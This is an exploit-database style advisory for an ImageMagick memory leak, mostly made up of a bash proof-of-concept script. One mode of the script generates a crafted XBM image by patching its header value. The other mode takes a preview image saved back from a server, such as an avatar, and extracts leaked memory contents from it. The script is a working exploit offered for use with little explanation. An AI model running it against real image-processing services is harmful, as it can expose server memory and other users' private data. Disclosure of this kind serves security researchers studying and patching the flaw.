ImageMagick Memory Leak

2018.11.20
Credit: barracud4_
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/bin/bash help() { echo "Usage poc generator: `basename $0` gen WIDTHxHEIGHT NAME.xbm [minimal]" echo " Example gen: `basename $0` gen 512x512 poc.xbm" echo "Usage result recovery: `basename $0` recover SAVED_PREVIEW.png|jpeg|gif|etc" echo " Example recovery: `basename $0` recover avatar.png" } if [ "$1" == "-h" ]; then help; exit 0 fi if [ "$1" == "gen" ]; then echo "Generating..." convert -size $2 xc:white $3 sed -i '0,/0x../s//0x80000001/' $3 if [ "$4" == "minimal" ]; then echo "Shrink to minimal body size mode" sed -i 's/0x00//g' $3 sed -i 's/,//g' $3 sed -i '/^\s*$/d' $3 fi echo "Done" exit 0 fi if [ "$1" == "recover" ]; then convert $2 temp.xbm cat temp.xbm | grep -o '0x..' | xxd -r -p | strings -3 rm temp.xbm exit 0 fi help;


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